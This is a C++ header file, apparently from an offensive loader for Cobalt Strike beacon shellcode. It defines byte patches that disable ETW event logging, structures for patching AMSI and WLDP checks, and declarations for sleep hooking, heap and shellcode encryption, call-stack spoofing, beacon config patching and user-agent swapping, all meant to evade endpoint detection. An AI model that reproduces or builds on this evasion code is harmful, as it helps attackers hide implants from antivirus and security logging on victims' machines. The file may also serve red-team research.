#pragma once

#include <windows.h>
#include <iostream>
#include <vector>
#include <algorithm>
#include <random>
#include <map>
#include <dbghelp.h>

#include "../ADVobfuscator/MetaString.h"
#include "../usings.h"
#include "../PE.h"
#include "../resolver.h"

#define SWAP_UINT16(x) (uint16_t)((((uint16_t)x) >> 8) | (((uint16_t)x) << 8))
#define SWAP_UINT32(x) (uint32_t)((((uint32_t)x) >> 24) | ((((uint32_t)x) & 0x00FF0000) >> 8) | ((((uint32_t)x) & 0x0000FF00) << 8) | (((uint32_t)x) << 24))

#define PAGE_SIZE 4096


#if _WIN32 || _WIN64
#if _WIN64
// ret
#define ETW_PATCH_BYTES "\x48\x31\xc0\xc3"
#define ETW_PATCH_SIZE 4
#else
// xor eax, eax ; ret 14h
#define ETW_PATCH_BYTES "\x31\xc0\xc2\x14\x00"
#define ETW_PATCH_SIZE 5
#endif
#endif

struct TrampolineData
{
    bool currentlyHooked;
    BYTE originalBytes[16];
    DWORD originalBytesSize;
};

typedef DWORD(NTAPI* typeNtFlushInstructionCache)(
    HANDLE ProcessHandle,
    PVOID BaseAddress,
    ULONG NumberOfBytesToFlush
    );

static bool FastTrampoline(bool installHook, BYTE* addressToHook, LPVOID newAddress, TrampolineData* buffers = NULL);

class BeaconOps
{
public:
    typedef void  (WINAPI* typeSleep)(
        DWORD dwMilis
    );


    // src: 
    //   https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/
    typedef struct tagHAMSICONTEXT {
        DWORD        Signature;          // "AMSI" or 0x49534D41
        PWCHAR       AppName;            // set by AmsiInitialize
        LPVOID       Antimalware;       // set by AmsiInitialize
        DWORD        SessionCount;       // increased by AmsiOpenSession
    } _HAMSICONTEXT, * _PHAMSICONTEXT;

    struct EncryptHeapsMetadata
    {
        DWORD   encodeKey;
        DWORD   beaconTid;

        PROCESS_HEAP_ENTRY entry;
        bool    heapEncrypted;
    };

    struct HookMetadata
    {
        void* pOrigFunc;
        BYTE origFuncStub[16];
        void* pDetourAddress;
    };

    struct ShellcodeFluctuationMetadata
    {
        LPVOID shellcodeAddr;
        SIZE_T shellcodeSize;
        DWORD protect;
        DWORD expectedProtect;
        bool currentlyEncrypted;
        DWORD encodeKey;
    };

    struct EvasionPatches
    {
        LPVOID pAmsiScanBuffer;
        LPVOID pEtwEventWrite;
        LPVOID pWldpQueryDynamicCodeTrust;

        bool currentlyHooked;
        bool initialized;

        std::vector<uint8_t> origBytesAmsiScanBuffer;
        std::vector<uint8_t> origBytesEtwEventWrite;
        std::vector<uint8_t> origBytesWldpQueryDynamicCodeTrust;
       
        std::vector<uint8_t> hookBytesAmsiScanBuffer;
        std::vector<uint8_t> hookBytesEtwEventWrite;
        std::vector<uint8_t> hookBytesWldpQueryDynamicCodeTrust;
    };

    // src:
    //   https://www.trustedsec.com/blog/tailoring-cobalt-strike-on-target/

#pragma pack(1)
    struct CSConfigField {
        unsigned short ID;
        unsigned short dataType;
        unsigned short dataLength;
        union {
            unsigned short shortData;
            unsigned int intData;
            char data[1];
        } value;
    };
#pragma pack()

    enum class CSConfigFieldType
    {
        TYPE_NONE = 0,
        TYPE_SHORT = 1,
        TYPE_INT = 2,
        TYPE_STR = 3,
    };

    static EncryptHeapsMetadata g_heapsEncryptionMetadata;
    static ShellcodeFluctuationMetadata g_shellcodeFluctuation;
    static EvasionPatches g_evasionPatches;

    static bool m_hideBeaconDuringSleep;
    static bool g_spoofCallStack;
    static bool g_sleepHooked;

    // key: Beacon config name
    // value: ( ID, Type, Length)
    typedef std::map<std::string, std::tuple<uint32_t, CSConfigFieldType, uint32_t>> ValidCSConfigsType;

    typedef std::map<uint32_t, std::vector<uint8_t>> CSConfigPatternsType;

    // src:
    //   https://github.com/Sentinel-One/CobaltStrikeParser/blob/master/parse_beacon_config.py
    static constexpr size_t CSConfigSize = 4096;

    // uint32_t - Cobalt Strike version
    // std::vector - sequence bytes
    static CSConfigPatternsType CSConfigStartPattern;
    static std::map<uint32_t, uint32_t> CSConfigDecodeKeys;

    static std::vector<uint8_t> CSConfigPatternDecoded;

    static std::string GoogleChromeUserAgentTemplate;
    static std::string MSEdgeUserAgentTemplate;


    BeaconOps();

    bool processShellcode(char* shellcode, size_t shellcodeSize);
    bool encryptHeaps(DWORD beaconTid);
    bool fluctuateShellcode(DWORD expectedMemoryPage = PAGE_EXECUTE_READ);
    void spoofStackTrace() { g_spoofCallStack = true; }
    void initEvasionPatches();

    static void WINAPI MySleep(DWORD dwFlags);

    static void ApplyEvasionHooks(bool installHooks);
    static void InitializeShellcodeFluctuation(const LPVOID caller);

    static std::vector<MEMORY_BASIC_INFORMATION> collectMemoryMap(HANDLE hProcess, DWORD Type = MEM_PRIVATE | MEM_MAPPED);

private:
    ValidCSConfigsType m_validCSConfigs;

    bool shellcodeProcessed;
    bool heapsEncrypting;
    bool m_unhookModules;

    void initValidCSConfigs();
    bool hookSleep();

    void changeUserAgent(char* buffer, size_t bufferSize);

    std::string findBestUserAgent(std::string defaultUserAgent, size_t maxSize);

    static bool validateVersionString(std::string buffer);

    std::string getMicrosoftEdgeUserAgent(const std::string& lastVersion);


    static void HeapEncryptDecrypt();
    static void ShellcodeEncryptDecrypt(LPVOID callerAddress);

    static bool IsBeaconThread(LPVOID address);

    static void xor32(uint8_t* buf, size_t bufSize, uint32_t xorKey);

    static void SuspendThreads(bool suspend, DWORD pid, DWORD tid);
};